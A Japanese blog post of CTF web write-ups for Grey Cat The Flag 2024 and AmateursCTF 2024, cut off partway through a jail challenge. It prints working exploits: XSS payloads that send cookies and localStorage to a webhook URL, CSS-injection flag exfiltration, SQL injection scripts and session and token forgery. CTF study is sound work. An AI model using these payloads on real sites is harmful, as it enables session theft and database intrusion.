st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

Grey Cat The Flag 2024 Qualifiers writeup

4/20 - 4/21という日程で開催された。BunkyoWesternsのぽよ~~~~として参加して3位。プレースホルダのつもりで適当なユーザ名にしたのだけれども、後から変えようとしたら "Name changes are disabled" と怒られて困った。

Webを全完した。Fearless ConcurrencyとNo Sql Injectionが特に面白かった。

リンク:


[Web 100] Baby Web (183 solves)

I just learnt how to design my favourite flask webpage using htmx and bootstrap. I hope I don't accidentally expose my super secret flag.

(URL)

Author: Junhua

添付ファイル: dist-baby-web.zip

次のようなソースコードが与えられている。セッションに is_admin かどうかの情報が保存されていて、もし is_adminTrue ならばフラグを得られそうだ。ただし、コード中には is_adminFalse に設定する処理しかない。

Flaskのデフォルト設定ということでクライアントセッションが使われるはずだけれども、その署名に使われる秘密鍵が app.secret_key = "baby-web" から分かってしまう。これを使ってセッションを偽造しよう。

import os
from flask import Flask, render_template, session

app = Flask(__name__)
app.secret_key = "baby-web"
FLAG = os.getenv("FLAG", r"grey{fake_flag}")


@app.route("/", methods=["GET"])
def index():
    # Set session if not found
    if "is_admin" not in session:
        session["is_admin"] = False
    return render_template("index.html")


@app.route("/admin")
def admin():
    # Check if the user is admin through cookies
    return render_template("admin.html", flag=FLAG, is_admin=session.get("is_admin"))

### Some other hidden code ###


if __name__ == "__main__":
    app.run(debug=True)

次のようなスクリプトを使ってセッションを偽造する。

from flask import Flask, render_template, session

app = Flask(__name__)
app.secret_key = "baby-web"

@app.route("/", methods=["GET"])
def index():
    session["is_admin"] = True
    return 'ok'

if __name__ == "__main__":
    app.run(debug=True)

できあがったセッションをCookieに設定して /admin にアクセスするとフラグが得られた。

grey{0h_n0_mY_5up3r_53cr3t_4dm1n_fl4g}

[Web 100] Greyctf Survey (154 solves)

Your honest feedback is appreciated :) (but if you give us a good rating we'll give you a flag)

(URL)

Author: jro

添付ファイル: dist-greyctf-survey.zip

次のようなソースコードが与えられている。点数を投票すると元々 -0.42069 という値が入っている score に加算される。このスコアが 1 を超えるとフラグをくれるけれども、投票できる点数は -1 より大きく、1 より小さくなければならない。どうしろと。

よく見ると、typeof vote != 'number' と投票した点数が Number であることをすでに確認しているのに、その後わざわざ parseInt にかけている。数値を丸めたいのなら Math.floor なり Math.round なりを使えばよいのに、なぜわざわざ parseInt を使うのだろう。

const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const port = 3000

const config = require("./config.json");

app.use(bodyParser.json())

app.use("/", express.static("static"))

let score = -0.42069;

app.get("/status", async (req, res)=>{
    return res.status(200).json({
        "error": false,
        "data": score
    });
})

app.post('/vote', async (req, res) => {
    const {vote} = req.body;
    if(typeof vote != 'number') {
        return res.status(400).json({
            "error": true,
            "msg":"Vote must be a number"
        });
    }
    if(vote < 1 && vote > -1) {
        score += parseInt(vote);
        if(score > 1) {
            score = -0.42069;
            return res.status(200).json({
                "error": false,
                "msg": config.flag,
            });
        }
        return res.status(200).json({
            "error": false,
            "data": score,
            "msg": "Vote submitted successfully"
        });
    } else {
        return res.status(400).json({
            "error": true,
            "msg":"Invalid vote"
        });
    }
})

app.listen(port, () => {
    console.log(`Survey listening on port ${port}`)
})

JavaScriptでは 3e-100 のような指数表記も使われる。parseInt の呼び出し時には、引数がたとえ数値であっても必ず文字列に変換される、つまり parseInt(3e-100)parseInt('3e-100') は等価だけれども、このとき parseInt は頭の数字の部分だけを使って数値に変換しようとする。つまり、その返り値は 3 となる。parseInt での数値の丸めは vote < 1 && vote > -1 というチェックの後なので、このチェックは通過しつつ score には 3 が足されるということになる。

ということで、3e-100 点を投票するとフラグが得られた。

$ curl http://(省略)/vote -H "Content-Type: application/json" -d '{"vote":3e-100}'
{"error":false,"msg":"grey{50m371m35_4_l177l3_6035_4_l0n6_w4y}"}
grey{50m371m35_4_l177l3_6035_4_l0n6_w4y}

[Web 100] Markdown Parser (114 solves)

I built this simple markdown parser. Please give me some feedback (in markdown), I promise to read them all. Current features include: bold, italics, code blocks with syntax highlighting!

(URL)

Author: ocean

添付ファイル: dist-markdown-parser.zip

Markdownが使えるメモ帳だ。作ったメモはadmin botに通報して、Chromiumで巡回させることができる。このとき、admin botはCookieにフラグを携えてやってくる。このCookieは httpOnly ではないから、XSSに持ち込めれば document.cookie を抽出して外部に抜き出すことでフラグが得られるはずだ。

Markdownのパースと変換は、次の通りライブラリを使わず自前で実装されている。基本的には escapeHtml でエスケープされてしまうけれども、コードブロックのときだけは、指定した言語名がエスケープされず class 属性に突っ込まれる。ここでXSSができそうだ。

function parseMarkdown(markdownText) {
    const lines = markdownText.split('\n');
    let htmlOutput = "";
    let inCodeBlock = false;

    lines.forEach(line => {
        if (inCodeBlock) {
            if (line.startsWith('```')) {
                inCodeBlock = false;
                htmlOutput += '</code></pre>';
            } else {
                htmlOutput += escapeHtml(line) + '\n';
            }
        } else {
            if (line.startsWith('```')) {
                language = line.substring(3).trim();
                inCodeBlock = true;
                htmlOutput += '<pre><code class="language-' + language + '">';
            } else {
                line = escapeHtml(line);
                line = line.replace(/`(.*?)`/g, '<code>$1</code>');
                line = line.replace(/^(######\s)(.*)/, '<h6>$2</h6>');
                line = line.replace(/^(#####\s)(.*)/, '<h5>$2</h5>');
                line = line.replace(/^(####\s)(.*)/, '<h4>$2</h4>');
                line = line.replace(/^(###\s)(.*)/, '<h3>$2</h3>');
                line = line.replace(/^(##\s)(.*)/, '<h2>$2</h2>');
                line = line.replace(/^(#\s)(.*)/, '<h1>$2</h1>');
                line = line.replace(/\*\*(.*?)\*\*/g, '<strong>$1</strong>');
                line = line.replace(/__(.*?)__/g, '<strong>$1</strong>');
                line = line.replace(/\*(.*?)\*/g, '<em>$1</em>');
                line = line.replace(/_(.*?)_/g, '<em>$1</em>');
                htmlOutput += line;
            }
        }
    });

    return htmlOutput;
}

function escapeHtml(text) {
    return text
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#039;');
}

module.exports = {
    parseMarkdown
};

"></pre><script>navigator.sendBeacon('https://webhook.site/…', document.cookie)</script> というような言語名でコードブロックを作成する。これで出来上がったメモを通報すると、フラグが指定したURLにPOSTされた。

grey{m4rkd0wn_th1s_fl4g}

[Web 100] Beautiful Styles (70 solves)

I opened a contest to see who could create the most beautiful CSS styles. Feel free to submit your CSS styles to me and I will add them to my website to judge them. I'll even give you a sample of my site to get you started. Flag only consists of numbers and uppercase letters and the lowercase character f (the exception is the flag format of grey{.+})

(URL)

Author: Junhua

与えられたURLにアクセスすると、次のようにCSSの入力フォームが表示された。

<details> で隠されているのは、次のようなHTMLだ。投稿したCSSは /uploads/(ランダムなID).css に保存される。投稿後は /submission/(ランダムなID) にリダイレクトされるけれども、その内容は次のテンプレートにそのIDやらフラグやらが展開されたHTMLだ。

また、そのページにはadmin botへの通報フォームがある。通報するとbotがChromiumでアクセスしてくれる。通常展開されているフラグはダミーのものだけれども、botがアクセスする際には本物のフラグが入っているということだろう。なるほど、任意のCSSが設定できるので、これで input の値を外部に送信せよということらしい。CSS Injectionの要領でできそうだ。

<!DOCTYPE html>
<html lang="en">
  <head>

    <link href="/uploads/{{submit_id}}.css" rel="stylesheet" />
  </head>
  <body>
    <div class="container">
      <h1 id="title">Welcome to my beautiful site</h1>
      <p id="sub-header">
        Here is some content that I want to share with you. An example can be
        this flag:
      </p>
      <input id="flag" value="{{ flag }}" />
    </div></body>
</html>

1文字ずつ抽出して外部に送信してくれるスクリプトを書く。1文字ずつ確定させていく。

import re
import string
import httpx

table = '{}' + string.ascii_uppercase + string.digits + 'f'
flag = 'grey{'

css = ''
for c in table:
    css += 'input[value^="FLAGCHAR"] { background: url("https://webhook.site/…?FLAGCHAR"); }\n'.replace('FLAG', flag).replace('CHAR', c)

print(css)

with httpx.Client(base_url='http://(省略)/', timeout=300) as client:
    r = client.post('/submit', data={
        'css_value': css
    })
    p = re.findall(r'href="(/submission/[^"]+)"', r.text)[0]
    client.post(p.replace('submission', 'judge'))

これでフラグが分かった。

grey{X5S34RCH1fY0UC4NF1ND1T}

[Web 171] Fearless Concurrency (49 solves)

Rust is the most safest, fastest and bestest language to write web app! The code compiles, therefore it is impossible for bugs! PS: This is my first rust project (real) 🦀🦀🦀🦀🦀

(URL)

Author: jro

添付ファイル: dist-fearless-concurrency.zip

Rustのソースコードが与えられている⚙ flag で検索してみると、/flag でいい感じの入力を与えるとフラグをくれることがわかる。ここで必要な入力は user_idsecret で、user_id で指定したユーザに対応する secret と入力した secret が一致していればフラグをくれるようだ。

    let app = Router::new()
        .route("/", get(root))
        .route("/register", post(register))
        .route("/query", post(query))
        .route("/flag", post(flag))
        .with_state(state);
// …
#[derive(Deserialize)]
struct ClaimFlag {
    user_id: u64,
    secret: u32
}

async fn flag(State(state): State<AppState>, Json(body): Json<ClaimFlag>)  -> axum::response::Result<String> {
    let users = state.users.read().await;
    let user = users.get(&body.user_id).ok_or_else(|| "User not found! Register first!")?;

    if user.secret == body.secret {
        return Ok(String::from("grey{fake_flag_for_testing}"));
    }
    Ok(String::from("Wrong!"))
}

POST /register は次の通り。POSTだけれども特にパラメータは受け付けず、ランダムにユーザIDが生成され、それに対応するユーザの登録がなされる。

async fn register(State(state): State<AppState>) -> impl IntoResponse {
    let uid = rand::random::<u64>();
    let mut users = state.users.write().await;
    let user = User::new();
    users.insert(uid, user);
    uid.to_string()
}

なお、User という構造体の定義は次の通り。secret はランダムな32ビットの数値らしい。

#[derive(Clone)]
struct User {
    lock: Arc<Mutex<()>>,
    secret: u32
}

impl User {
    fn new() -> User {
        User {
            lock: Arc::new(Mutex::new(())),
            secret: rand::random::<u32>()
        }
    }
}

POST /query は次の通り。長いので整理する。ユーザからは user_idquery_string という2つのパラメータを受け付ける。まずMySQLで tbl_(ユーザID)_(ランダムな数値) というテーブルが作成され、これに指定した user_idsecret が挿入される。その後、SELECT * FROM info WHERE body LIKE '(query_stringで指定した文字列)' というSQLが実行される。そして、最初に作成されたテーブルが削除される。レスポンスに含まれるのは SELECT で返ってきた情報だ。なお、ユーザ情報は secret 含めRust側ですべて管理されていて、ここではMySQLに secret の情報がコピーされているに過ぎない。

SELECT 文で明らかにSQLiがある。ただ、' union select secret from (テーブル名);# のようにSQLiで secret を抜き出そうにも、ランダムに生成されているためにテーブル名を当てることができない。ならばと information_schema.tables からテーブル名を抜き出しても、直後にそのテーブルが削除されてしまう。どうしろと。

async fn query(State(state): State<AppState>, Json(body): Json<Query>) -> axum::response::Result<String> {
    let users = state.users.read().await;
    let user = users.get(&body.user_id).ok_or_else(|| "User not found! Register first!")?;
    let user = user.clone();

    // Prevent registrations from being blocked while query is running
    // Fearless concurrency :tm:
    drop(users);

    // Prevent concurrent access to the database!
    // Don't even try any race condition thingies
    // They don't exist in rust!
    let _lock = user.lock.lock().await;
    let mut conn = state.pool.get_conn().await.map_err(|_| "Failed to acquire connection")?;

    // Unguessable table name (requires knowledge of user id and random table id)
    let table_id = rand::random::<u32>();
    let mut hasher = Sha1::new();
    hasher.update(b"fearless_concurrency");
    hasher.update(body.user_id.to_le_bytes());
    let table_name = format!("tbl_{}_{}", hex::encode(hasher.finalize()), table_id);

    let table_name = dbg!(table_name);
    let qs = dbg!(body.query_string);

    // Create temporary, unguessable table to store user secret
    conn.exec_drop(
        format!("CREATE TABLE {} (secret int unsigned)", table_name), ()
    ).await.map_err(|_| "Failed to create table")?;

    conn.exec_drop(
        format!("INSERT INTO {} values ({})", table_name, user.secret), ()
    ).await.map_err(|_| "Failed to insert secret")?;


    // Secret can't be leaked here since table name is unguessable!
    let res = conn.exec_first::<String, _, _>(
        format!("SELECT * FROM info WHERE body LIKE '{}'", qs),
        ()
    ).await;

    // You'll never get the secret!
    conn.exec_drop(
        format!("DROP TABLE {}", table_name), ()
    ).await.map_err(|_| "Failed to drop table")?;

    let res = res.map_err(|_| "Failed to run query")?;

    // _lock is automatically dropped when function exits, releasing the user lock

    if let Some(result) = res {
        return Ok(result);
    }
    Ok(String::from("No results!"))
}

' union select @x;# のように変数でテーブル名を指定できないかと試したところ、通常のクエリ失敗時に起こる Failed to run query は返ってこず、そもそも何もレスポンスが返ってこなかった。ログを見るとパニックが起こったようだ。つまり、以降の DROP TABLE は実行されず、テーブルはそのまま残っている。これなら、残ったテーブルの名前を取得して、さらにそれを元に secret を得ることも可能だ。

以下のようにスクリプトを書く。わざわざテーブル名の取得時に order by create_time desc limit 1 offset 1 とテーブルの作成日時でソートしているのは、ほかの参加者が作成して同じ方法で残したテーブルが大量にあるためだ。最近作成した順にソートすることで、自分の作成したテーブルが前に来る。

import time
import httpx

with httpx.Client(base_url='http://(省略)') as client:
    r = client.post('/register')
    uid = int(r.text)

    try:
        client.post('/query', json={
        'user_id': uid,
        'query_string': "' union select @x;#"
    })
    except:
        pass

    time.sleep(1)

    r = client.post('/query', json={
        'user_id': uid,
        'query_string': "' union select * from (select table_name from information_schema.tables where table_schema = database() order by create_time desc limit 1 offset 1)x;#"
    })
    table = r.text

    r = client.post('/query', json={
        'user_id': uid,
        'query_string': f"' union select * from {table};#"
    })
    secret = int(r.text)

    r = client.post('/flag', json={
        'user_id': uid,
        'secret': secret
    })
    print(r.text)

実行すると、フラグが得られた。

$ python3 s.py
grey{ru57_c4n7_pr3v3n7_l061c_3rr0r5}
grey{ru57_c4n7_pr3v3n7_l061c_3rr0r5}

[Web 995] No Sql Injection (5 solves)

I asked My friend Jason to build me a new e-commerce website. We just finished the login system and there's already bugs 🤦

(URL)

Author: jro

添付ファイル: dist-no-sql-injection.zip

ソースコードを見ていく。MySQLには次のような2つのテーブルが存在している。

create table tokens(token varchar(255));
create table users(
    id INT AUTO_INCREMENT PRIMARY KEY,
    name varchar(255),
    password varchar(255),
    admin bool
);

このWebサーバには主に次の3つのエンドポイントが存在している。

  • POST /api/login
  • POST /api/register/1
  • POST /api/register/2

それぞれ対応するコードを見ていこう。まずは /api/login だけれども、その名の通りユーザ名とパスワードを受け取って、users テーブルに対応するユーザが存在するか確認してくれるAPIだ。このとき、もし admintrue であればフラグを返してくれるらしい。なるほど、admintrue であるユーザを作成するのがゴールらしい。

const decode = s => atob(s?.toString() ?? 'Z3JleWhhdHMh');

app.post('/api/login', async (req, res) => {
    try {
        let { password, username } = req.body;
        password = decode(password);
        username = decode(username);

        const result = await query("select admin from users where name = ? and password = ?", [username, password]);

        if (result.length != 1) {
            return res.json({ err: "Username or password did not match" });
        }

        if(result[0].admin) {
            res.json({ "err": false, "msg": config.flag});
        } else {
            res.json({ "err": false, "msg": "You've logged in successfully, but there's no flag here!"});
        }

        // Prevent too many records from filling up the database
        await query("delete from users where name = ? and password = ?", [username, password]);
    } catch (err) {
        console.log(err);
        res.json({ "err": true });
    }
})

/api/register/1 は次の通り。受け取ったユーザ名に対応するトークンを tokens テーブルに挿入している。このトークンはJSONをBase64エンコードしたものだけれども、ここで name というプロパティには指定したユーザ名が、admin には false が設定されている。

app.post('/api/register/1', async (req, res) => {
    try {
        let { username } = req.body;

        username = decode(username);

        const token = btoa(JSON.stringify({
            name: username,
            admin: false
        }));

        await query("insert into tokens values (?)", [token]);

        res.json({ "err": false, "token": token });
    } catch (err) {
        console.log(err);
        res.json({ "err": true });
    }
})

最後に /api/register/2 を見ていく。今度はリクエストボディからパスワードとトークンを受け取っている。まず、tokens にそのトークンが存在しているか(つまり、/api/register/1 によって発行されたトークンであるか)をチェックしている。もしあれば、tokens からこのトークンを削除したうえで、トークンをJSONとしてパースした結果から nameadmin の2つのプロパティを、リクエストボディからはパスワードを持ってきて、users テーブルにこのユーザを登録する。

/api/register/1 では admin には false しか設定されないし、SQLiをしようにもちゃんとプレースホルダが使われていて、そのような隙はないように見える。どうすればよいだろうか。

app.post('/api/register/2', async (req, res) => {
    try {
        let { password, token } = req.body;
        password = decode(password);
        token = decode(token);

        const result = await query("select 1 from tokens where token = ?", [token]);

        if (result.length != 1) {
            return res.json({ err: "Token not found!" });
        }

        await query("delete from tokens where token = ?", [token]);

        const { name, admin } = JSON.parse(atob(token));

        await query("insert into users (name, password, admin) values (?, ?, ?)", [name.toString(), password, admin === true]);

        res.json({ "err": false });
    } catch (err) {
        console.log(err);
        res.json({ "err": true });
    }
})

ふと、MySQLのデフォルトの設定では文字列比較がcase-insensitiveに行われることを思い出した。これを利用すれば、たとえば /api/register/1 で発行されたトークンが eyJuYW1lIjoibmVrbyIsImFkbWluIjpmYWxzZX0= であったときに、28文字目の u を大文字の U に変換した eyJuYW1lIjoibmVrbyIsImFkbWlUIjpmYWxzZX0=/api/register/2 でトークンとして利用できてしまう。

これをBase64デコードすると {"name":"neko","admiT":false} であり、admin プロパティが admiT プロパティに変わってしまっている。/api/register/2 では、users に挿入されるユーザの情報はトークンに含まれているものが参照されているけれども、ここで参照するトークンは tokens テーブルに含まれているマスターデータではなく、このときリクエストボディから投げられた方のトークンだ。

この性質を利用して、いい感じに admin プロパティが true となっているJSONを作成したい。

次のような構造のJSONを考える。/api/register/1 において poyopoyopoyoXXX , XXXadminXXX :true, XXXhogXXX: XXX というようなユーザ名で登録するとこのようなJSONが作成され、それをBase64エンコードしたものがトークンとして発行されるはずだ。発行されたトークンについて、特定の文字の大文字小文字を変換することで、XXX がそれぞれいい感じに、正規表現でいう \s*"\s* へ化けるような文字はないだろうか。

そのような文字があれば、まずそれを使ったユーザ名で正規のトークンを発行し、特定の文字の大文字小文字を変換することで {"name":"poyopoyopoyo","admin":true,"hog":"","admin":false} に相当するJSONがBase64エンコードされたトークンが作れるはずだ。

{"name":"poyopoyopoyoXXX ,  XXXadminXXX :true,  XXXhogXXX:  XXX","admin":false}

ちゃんと考えて作ればよいのだけれども、面倒になってしまった。次のようにしてブルートフォースで探す。

let s = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';

function *f(s) {
    for (const a of s) {
        for (const b of s) {
            for (const c of s) {
                for (const d of s) {
                    yield a + b + c + d;
                }
            }
        }
    }
}

function *g(s) {
    for (const a of [s[0].toLowerCase(), s[0].toUpperCase()]) {
        for (const b of [s[1].toLowerCase(), s[1].toUpperCase()]) {
            for (const c of [s[2].toLowerCase(), s[2].toUpperCase()]) {
                for (const d of [s[3].toLowerCase(), s[3].toUpperCase()]) {
                    const t = a + b + c + d;
                    if (s !== t) {
                        yield a + b + c + d;
                    }
                }
            }
        }
    }
}

for (const a of f(s)) {
    let s1, s2, o1, o2;

    //s1 = `eyJuYW1lIjoicG95b3BveW9wb3lv${a}ICwg${a}YWRtaW4iOjEyM30=`;
    s1 = `eyJuYW1lIjoicG95b3BveW9wb3lvIiAg${a}ImFkbWluIjoxMjN9`;
    try {
        o1 = JSON.parse(atob(s1));
    } catch {
        continue;
    }

    for (const b of g(a)) {
        //s2 = `eyJuYW1lIjoicG95b3BveW9wb3lv${b}ICwg${b}IiwgImFkbWluIjoxMjN9`;
        s2 = `eyJuYW1lIjoi${b}b3BveW9wb3lvIiAgImFkbWluIjoxMjN9`;
        try {
            o2 = JSON.parse(atob(s2));
            console.log('[*]', a, b);
            break;
        } catch {
            continue;
        }
    }

    if (o2 == undefined) {
        continue;
    }

    console.log(s1, o1);
    console.log(s2, o2);
}

Base64では1文字あたり6ビットの情報を持つ。つまり4文字が元データの3バイトに対応するわけだけれども、それによって発生するズレも考える必要がある。次のように、どうしても微妙な位置に先ほどの例で言う XXX に対応する文字が入ってしまう場合も考慮しつつ、適切な文字を探していく。

// …

for (const a of f(s)) {
    let s1, s2, o1, o2, b;

    // swapcase後のものを導き出す = JSONの構造を破壊するものを探す
    s1 = `eyJuYW1lIjoicG95b3BveW9wb3lvQUFBICwgICBCQkJhZG1pbi${a}A6dHJ1ZSwgQUFBaG9nQUFBOiAgQUFBIiwiYWRtaW4iOjEyM30=`.replaceAll('QUFB', 'ICAi').replaceAll('BCQk', 'AJCS');
    try {
        o1 = JSON.parse(atob(s1));
    } catch {
        continue;
    }

    // swapcase前のものを導き出す
    for (b of g(a)) {
        s2 = `eyJuYW1lIjoicG95b3BveW9wb3lvQUFBICwgICBCQkJhZG1pbi${b}A6dHJ1ZSwgQUFBaG9nQUFBOiAgQUFBIiwiYWRtaW4iOjEyM30=`.replaceAll('QUFB', 'icai').replaceAll('BCQk', 'ajcs');
        try {
            o2 = JSON.parse(atob(s2));
            break;
        } catch {
            continue;
        }
    }

    if (o2 == undefined || Object.keys(o1).length === 4) {
        continue;
    }

    console.log('[*]', a, b);

    console.log(s1, o1);
    console.log(s2, o2);
}

最終的に、次の組み合わせができた。前者のユーザ名をまず /api/register/1 に投げて、トークンをデータベースに登録させる。生成されたトークンの一部の文字について、大文字と小文字を変換すると後者の偽トークンができあがる。これを /api/register/2 に投げると、ユーザ名は poyopoyopoyo 、パスワードはリクエストボディから指定したもの、admintrue であるユーザが作れるはずだ。

eyJuYW1lIjoicG95b3BveW9wb3lvicaiICwgICajcsJhZG1pbiijcsA6dHJ1ZSwgicaiaG9nicaiOiAgicaiIiwiYWRtaW4iOmZhbHNlfQ==
→ {"name":"poyopoyopoyo\x89Æ¢ ,  &£rÂadmin(£rÀ:true, \x89Æ¢hog\x89Æ¢:  \x89Æ¢","admin":false}
eyJuYW1lIjoicG95b3BveW9wb3lvICAiICwgICAJCSJhZG1pbiIJCSA6dHJ1ZSwgICAiaG9nICAiOiAgICAiIiwiYWRTaW4iOmZhbHNlfQ==
→ {"name":"poyopoyopoyo  " ,   \t\t"admin"\t\t :true,   "hog  ":    "","adSin":false}

できた。

$ curl http://(省略)/api/register/1 -d 'username=cG95b3BveW9wb3lvicaiICwgICajcsJhZG1pbiijcsA6dHJ1ZSwgicaiaG9nicaiOiAgicai'
{"err":false,"token":"eyJuYW1lIjoicG95b3BveW9wb3lvicaiICwgICajcsJhZG1pbiijcsA6dHJ1ZSwgicaiaG9nicaiOiAgicaiIiwiYWRtaW4iOmZhbHNlfQ=="}
$ curl http://(省略)/api/register/2 -d 'password=cG95b3BveW9wb3lv&token=ZXlKdVlXMWxJam9pY0c5NWIzQnZlVzl3YjNsdklDQWlJQ3dnSUNBSkNTSmhaRzFwYmlJSkNTQTZkSEoxWlN3Z0lDQWlhRzluSUNBaU9pQWdJQ0FpSWl3aVlXUlRhVzRpT21aaGJITmxmUT09'
{"err":false}
$ curl http://(省略)/api/login -d 'password=cG95b3BveW9wb3lv&username=cG95b3BveW9wb3lvICA='
{"err":false,"msg":"grey{fr13nd5h1p_3nd3d_w17h_my5ql}"}
grey{fr13nd5h1p_3nd3d_w17h_my5ql}

AmateursCTF 2024 writeup

4/6 - 4/10という日程で開催された。BunkyoWesternsで参加して6位。なかなかの開催期間の長さだった。


[Web 53] denied (856 solves)

what options do i have?

(URL)

添付ファイル: index.js

以下のようなソースコードが与えられている。GETでアクセスすればCookieにフラグがセットされるが、req.methodGET だとダメだ。どうしろと。

const express = require('express')
const app = express()
const port = 3000

app.get('/', (req, res) => {
  if (req.method == "GET") return res.send("Bad!");
  res.cookie('flag', process.env.FLAG ?? "flag{fake_flag}")
  res.send('Winner!')
})

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})

HEAD メソッドならばどうだろうかと思いついた。HEAD メソッドではレスポンスボディが得られないけれども、今回フラグはCookieにセットされるので問題ない。試してみると、確かにいけた。

Expressのルーティング周りのコードを見てみると、メソッドが HEAD である場合も GET でアクセスされた場合と同じ扱いをしているようだった。なるほど。

好きなHTTPメソッド発表ドラゴン

CTFが始まってすぐは問題サーバが不安定だったために、すぐにこのコマンドをリモートで試すことはできなかった。後で試そうと思ってほかの問題を見ていると、Satokiさんがいつの間にか通していた。

amateursCTF{s0_m@ny_0ptions...}

[Web 184] one-shot (282 solves)

my friend keeps asking me to play OneShot. i haven't, but i made this cool challenge!

(URL)

添付ファイル: app.py, Dockerfile

以下のようなソースコードが与えられている。重要なのは次のエンドポイントだ:

  • /new_session にアクセスすると新たなセッションが生成され、ランダムなパスワードの入ったランダムなテーブルが作成される
  • /guess でこのパスワードを当てるとフラグが得られる
  • /search からパスワードを曖昧検索できるが、得られるのは最初の1文字のみ。自明なSQLiもある。ただし、この検索は一度しかできない
from flask import Flask, request, make_response
import sqlite3
import os
import re

app = Flask(__name__)
db = sqlite3.connect(":memory:", check_same_thread=False)
flag = open("flag.txt").read()

@app.route("/")
def home():
    return """
    <h1>You have one shot.</h1>
    <form action="/new_session" method="POST"><input type="submit" value="New Session"></form>
    """

@app.route("/new_session", methods=["POST"])
def new_session():
    id = os.urandom(8).hex()
    db.execute(f"CREATE TABLE table_{id} (password TEXT, searched INTEGER)")
    db.execute(f"INSERT INTO table_{id} VALUES ('{os.urandom(16).hex()}', 0)")
    res = make_response(f"""
    <h2>Fragments scattered... Maybe a search will help?</h2>
    <form action="/search" method="POST">
        <input type="hidden" name="id" value="{id}">
        <input type="text" name="query" value="">
        <input type="submit" value="Find">
    </form>
""")
    res.status = 201

    return res

@app.route("/search", methods=["POST"])
def search():
    id = request.form["id"]
    if not re.match("[1234567890abcdef]{16}", id):
        return "invalid id"
    searched = db.execute(f"SELECT searched FROM table_{id}").fetchone()[0]
    if searched:
        return "you've used your shot."
    
    db.execute(f"UPDATE table_{id} SET searched = 1")

    query = db.execute(f"SELECT password FROM table_{id} WHERE password LIKE '%{request.form['query']}%'")
    return f"""
    <h2>Your results:</h2>
    <ul>
    {"".join([f"<li>{row[0][0] + '*' * (len(row[0]) - 1)}</li>" for row in query.fetchall()])}
    </ul>
    <h3>Ready to make your guess?</h3>
    <form action="/guess" method="POST">
        <input type="hidden" name="id" value="{id}">
        <input type="text" name="password" placehoder="Password">
        <input type="submit" value="Guess">
    </form>
"""

@app.route("/guess", methods=["POST"])
def guess():
    id = request.form["id"]
    if not re.match("[1234567890abcdef]{16}", id):
        return "invalid id"
    result = db.execute(f"SELECT password FROM table_{id} WHERE password = ?", (request.form['password'],)).fetchone()
    if result != None:
        return flag
    
    db.execute(f"DROP TABLE table_{id}")
    return "You failed. <a href='/'>Go back</a>"

@app.errorhandler(500)
def ise(error):
    original = getattr(error, "original_exception", None)
    if type(original) == sqlite3.OperationalError and "no such table" in repr(original):
        return "that table is gone. <a href='/'>Go back</a>"
    return "Internal server error"

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080)

パスワードの検索が一度しかできず、しかも返ってきたレコードについて最初の1文字しか得られないという制約がつらい。が、UNION SELECT substr(password, 1, 1) FROM table_{id} UNION SELECT substr(password, 2, 1) FROM table_{id} … のように1レコードにつき1文字という形で UNION しまくればよいのでは考えた。

けれども、それだとペイロードが長くなりすぎてあまり美しくない。WITH RECURSIVE で殴ろう。

import re
import httpx

with httpx.Client(base_url='http://one-shot.amt.rs/') as client:
    r = client.post('/new_session')
    id = re.findall(r'id" value="([^"]+)', r.text)[0]
    payload = f"' and 0 == 1 union all select xx from (with recursive u(x) as (values((select password from table_{id})) union all select substr(x,2) from u where x != '') select substr(x,1,1)xx from u where xx != ''); -- "
    
    r = client.post('/search', data={
        'id': id,
        'query': payload
    })
    password = ''.join(re.findall(r'<li>(.)</li>', r.text))
    print(f'{password=}')

    r = client.post('/guess', data={
        'id': id,
        'password': password
    })
    print(r.text)

実行するとフラグ(とフラグじゃないやつ)が得られた。

$ python3 s.py
password='ece7f76c01c14b7de552bd89e26689c6'
<p>amateursCTF{go_union_select_a_life}</p>
<br />
<h3>alternative flags (these won't work) (also do not share):</h3>
<p>
amateursCTF{UNION_SELECT_life_FROM_grass} <br />
amateursCTF{why_are_you_endorsing_unions_big_corporations_are_better} <br />
amateursCTF{union_more_like_onion_*cronch*}  <br />
amateursCTF{who_is_this_Niko_everyone_is_talking_about}
</p>
amateursCTF{go_union_select_a_life}

[Web 302] sculpture (95 solves)

Client side rendered python turtle sculptures, why don't we play around with them.

Remote (for use in admin bot): (問題サーバのURL), (admin botへのreport用のURL)

添付ファイル: index.html, admin-bot-excerpt.js

Skulptによって、Webブラウザ上でPythonコードの実行ができるWebページが与えられている。turtle や標準出力にも対応しているようだ。

index.html を確認すると、標準出力へ出力された文字列は innerHTML でレンダリングされるということがわかる。XSSチャンスだ。

function outf(text) { 
    var mypre = document.getElementById("output"); 
    mypre.innerHTML = mypre.innerHTML + text; 
}function runit() { 
   var prog = document.getElementById("yourcode").value; 
   var mypre = document.getElementById("output"); 
   mypre.innerHTML = ''; 
   Sk.pre = "output";
   Sk.configure({output:outf, read:builtinRead});

また、Webページの読み込み時にクエリパラメータの code からコードを持ってきて実行している様子もわかる。HTMLを出力するコードを実行させればよいのではないか。

document.addEventListener("DOMContentLoaded",function(ev){
    document.getElementById("yourcode").value = atob((new URLSearchParams(location.search)).get("code"));
    runit();
});

次のコードをDevToolsで実行し、localStorage を外部に送信させるコードが実行されるようなURLを手に入れる。

location.href = '/?code=' + btoa(`print("<img src=x onerror=\\"navigator.sendBeacon('https://webhook.site/…', JSON.stringify(localStorage))\\">")`).replaceAll('+','%2b')

admin botにそのURLを通報すると、フラグが得られた。

amateursCTF{i_l0v3_wh3n_y0u_can_imp0rt_xss_v3ct0r}

[Jail 207] sansomega (230 solves)

Somehow I think the pico one had too many unintendeds...

So I left some more in :)

(問題サーバの接続情報)

添付ファイル: shell.py, Dockerfile

shell.py は次の通り。入力したシェルスクリプトが /bin/sh で実行されるけれども、20文字以上と長すぎるとダメだし、英大文字小文字やブラケット等の文字は使えない。

#!/usr/local/bin/python3
import subprocess

BANNED = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\\"\'`:{}[]'


def shell():
    while True:
        cmd = input('$ ')
        if any(c in BANNED for c in cmd):
            print('Banned characters detected')
            exit(1)

        if len(cmd) >= 20:
